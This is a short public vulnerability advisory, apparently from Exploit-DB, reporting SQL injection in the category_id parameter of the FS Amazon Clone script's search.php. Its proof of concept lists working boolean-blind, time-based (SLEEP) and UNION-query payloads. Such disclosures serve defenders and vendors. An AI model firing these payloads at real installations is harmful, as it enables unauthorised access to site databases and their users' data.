45 lines
No EOL
1.5 KiB
Text
45 lines
No EOL
1.5 KiB
Text
# Exploit Title: FS Amazon Clone - SQL Injection
|
|
# Date: 2017-10-23
|
|
# Exploit Author: 8bitsec
|
|
# Vendor Homepage: https://fortunescripts.com/
|
|
# Software Link: https://fortunescripts.com/product/amazon-clone/
|
|
# Version: 23 October 17
|
|
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
|
|
# Email: contact@8bitsec.io
|
|
# Contact: https://twitter.com/_8bitsec
|
|
|
|
Release Date:
|
|
=============
|
|
2017-10-23
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Frontrunner in the field of all the multi-vendor scripts.
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
|
|
SQL injection on [category_id] parameter.
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
|
|
SQLi:
|
|
|
|
https://localhost/[path]/search.php?category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx
|
|
|
|
Parameter: category_id (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: category_id=1 AND SLEEP(5)&sub_category_id=1&search=xxxxx
|
|
|
|
Type: UNION query
|
|
Title: Generic UNION query (NULL) - 15 columns
|
|
Payload: category_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7071,0x714e746578554b6b4b4274697974755366576555457a6c6c576269474c7877744347466d6647695a,0x7176767871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JpGm&sub_category_id=1&search=xxxxx
|
|
|
|
==================
|
|
8bitsec - [https://twitter.com/_8bitsec] |